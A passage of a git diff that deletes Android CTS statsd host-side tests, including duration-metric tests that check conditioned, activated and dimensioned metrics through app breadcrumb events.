- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
- assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
- }
-
- public void testPartialBucketCountMetric() throws Exception {
- int matcherId = 1;
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.ONE_DAY) // Should ensure partial bucket.
- .setWhat(matcherId))
- .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
- uploadConfig(builder);
-
- doAppBreadcrumbReportedStart(0);
-
- builder.getCountMetricBuilder(0).setBucket(StatsdConfigProto.TimeUnit.CTS);
- uploadConfig(builder); // The count metric had a partial bucket.
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(WAIT_TIME_LONG); // Finish the current bucket.
-
- ConfigMetricsReportList reports = getReportList();
- LogUtil.CLog.d("Got following report list: " + reports.toString());
-
- assertThat(reports.getReportsCount()).isEqualTo(2);
- boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
- reports.getReports(1).getCurrentReportWallClockNanos();
-
- // Only 1 metric, so there should only be 1 StatsLogReport.
- for (ConfigMetricsReport report : reports.getReportsList()) {
- assertThat(report.getMetricsCount()).isEqualTo(1);
- assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
- }
- CountMetricData data1 =
- reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
- CountMetricData data2 =
- reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
- // Data1 should have only 1 bucket, and it should be a partial bucket.
- // The count should be 1.
- assertThat(data1.getBucketInfoCount()).isEqualTo(1);
- CountBucketInfo bucketInfo = data1.getBucketInfo(0);
- assertThat(bucketInfo.getCount()).isEqualTo(1);
- assertWithMessage("First report's bucket should be less than 1 day")
- .that(bucketInfo.getEndBucketElapsedNanos())
- .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
- 1_000_000_000L * 60L * 60L * 24L);
-
- //Second report should have a count of 2.
- assertThat(data2.getBucketInfoCount()).isAtMost(2);
- int totalCount = 0;
- for (CountBucketInfo bucket : data2.getBucketInfoList()) {
- totalCount += bucket.getCount();
- }
- assertThat(totalCount).isEqualTo(2);
- }
-
- public void testSlicedStateCountMetricNoReset() throws Exception {
- int whatMatcherId = 3;
- int stateId = 4;
- int onStateGroupId = 5;
- int offStateGroupId = 6;
-
- // Atom 9998 {
- // repeated AttributionNode attribution_node = 1;
- // optional WakeLockLevelEnum type = 2;
- // optional string tag = 3;
- // }
- int whatAtomId = 9_998;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.getAtomMatcher(whatAtomId)
- .setId(whatMatcherId)
- .build();
-
- StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
- .setId(stateId)
- .setAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .setMap(StatsdConfigProto.StateMap.newBuilder()
- .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
- .setGroupId(onStateGroupId)
- .addValue(WakelockStateChanged.State.ACQUIRE_VALUE)
- .addValue(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)
- )
- .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
- .setGroupId(offStateGroupId)
- .addValue(WakelockStateChanged.State.RELEASE_VALUE)
- .addValue(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)
- )
- )
- .build();
-
- StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
- .setStateAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .setFieldsInWhat(FieldMatcher.newBuilder()
- .setField(whatAtomId)
- .addChild(FieldMatcher.newBuilder()
- .setField(1)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(AttributionNode.UID_FIELD_NUMBER)
- )
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(2)
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(3)
- )
- )
- .setFieldsInState(FieldMatcher.newBuilder()
- .setField(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(AttributionNode.UID_FIELD_NUMBER)
- )
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TAG_FIELD_NUMBER)
- )
- )
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .addSliceByState(stateId)
- .addStateLink(stateLink)
- )
- .addAtomMatcher(whatMatcher)
- .addState(state);
- uploadConfig(builder);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSliceByWakelockState");
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
- assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-
- List<CountMetricData> sortedDataList = IntStream.range(0, dataWrapper.getDataCount())
- .mapToObj(i -> {
- CountMetricData data = dataWrapper.getData(i);
- assertWithMessage("Unexpected SliceByState count for data[%s]", "" + i)
- .that(data.getSliceByStateCount()).isEqualTo(1);
- return data;
- })
- .sorted((data1, data2) ->
- Long.compare(data1.getSliceByState(0).getGroupId(),
- data2.getSliceByState(0).getGroupId())
- )
- .collect(Collectors.toList());
-
- CountMetricData data = sortedDataList.get(0);
- assertThat(data.getSliceByState(0).getAtomId())
- .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
- assertThat(data.getSliceByState(0).getGroupId())
- .isEqualTo(onStateGroupId);
- long totalCount = data.getBucketInfoList().stream()
- .mapToLong(CountBucketInfo::getCount)
- .sum();
- assertThat(totalCount).isEqualTo(6);
-
- data = sortedDataList.get(1);
- assertThat(data.getSliceByState(0).getAtomId())
- .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
- assertThat(data.getSliceByState(0).getGroupId())
- .isEqualTo(offStateGroupId);
- totalCount = data.getBucketInfoList().stream()
- .mapToLong(CountBucketInfo::getCount)
- .sum();
- assertThat(totalCount).isEqualTo(3);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
deleted file mode 100644
index 65cef95..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ /dev/null
@@ -1,569 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-
-import java.util.List;
-
-public class DurationMetricsTests extends DeviceAtomTestCase {
-
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
-
- public void testDurationMetric() throws Exception {
- final int label = 1;
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, label);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, label);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add DurationMetric.
- builder.addDurationMetric(
- StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS));
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(label);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(label);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- assertThat(durationData.getData(0).getBucketInfo(0).getDurationNanos())
- .isIn(Range.open(0L, (long)1e9));
- }
-
- public void testDurationMetricWithCondition() throws Exception {
- final int durationLabel = 1;
- final int conditionLabel = 2;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
-
- SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .build();
- Predicate conditionPredicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("ConditionPredicate"))
- .setSimplePredicate(conditionSimplePredicate)
- .build();
-
- builder
- .addPredicate(predicate)
- .addPredicate(conditionPredicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setCondition(conditionPredicate.getId())
- );
-
- // Upload config.
- uploadConfig(builder);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
- }
-
- public void testDurationMetricWithActivation() throws Exception {
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int ttlSec = 5;
- final int durationLabel = 1;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- )
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.DURATION_METRIC_ID)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(
- StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
- }
-
- public void testDurationMetricWithConditionAndActivation() throws Exception {
- final int durationLabel = 1;
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .build();
- Predicate conditionPredicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("ConditionPredicate"))
- .setSimplePredicate(conditionSimplePredicate)
- .build();
- builder.addPredicate(conditionPredicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setCondition(conditionPredicate.getId())
- )
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.DURATION_METRIC_ID)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(
- StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
- //doAppBreadcrumbReported(99); // TODO: maybe remove?
- //Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)4e9, (long)5e9));
- }
-
- public void testDurationMetricWithDimension() throws Exception {
- // Add AtomMatchers.
- AtomMatcher startAtomMatcherA =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcherA =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher startAtomMatcherB =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
- AtomMatcher stopAtomMatcherB =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcherA);
- builder.addAtomMatcher(stopAtomMatcherA);
- builder.addAtomMatcher(startAtomMatcherB);
- builder.addAtomMatcher(stopAtomMatcherB);
-
- // Add Predicates.
- SimplePredicate simplePredicateA = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicateA = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate_A"))
- .setSimplePredicate(simplePredicateA)
- .build();
- builder.addPredicate(predicateA);
-
- FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- dimensionsBuilder
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER));
- Predicate predicateB =
- Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate_B"))
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .setDimensions(dimensionsBuilder.build())
- .build())
- .build();
- builder.addPredicate(predicateB);
-
- // Add DurationMetric.
- builder.addDurationMetric(
- StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicateB.getId())
- .setCondition(predicateA.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setDimensionsInWhat(
- FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER))));
-
- // Upload config.
- uploadConfig(builder);
-
- // Trigger events.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(2);
- assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(3);
- assertThat(durationData.getData(1).getBucketInfoCount()).isGreaterThan(3);
- long totalDuration = 0;
- for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
- assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
- totalDuration += bucketInfo.getDurationNanos();
- }
- // Duration for both labels is expected to be 4s.
- assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
- totalDuration = 0;
- for (DurationBucketInfo bucketInfo : durationData.getData(1).getBucketInfoList()) {
- assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
- totalDuration += bucketInfo.getDurationNanos();
- }
- assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
deleted file mode 100644
index 2280e13..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
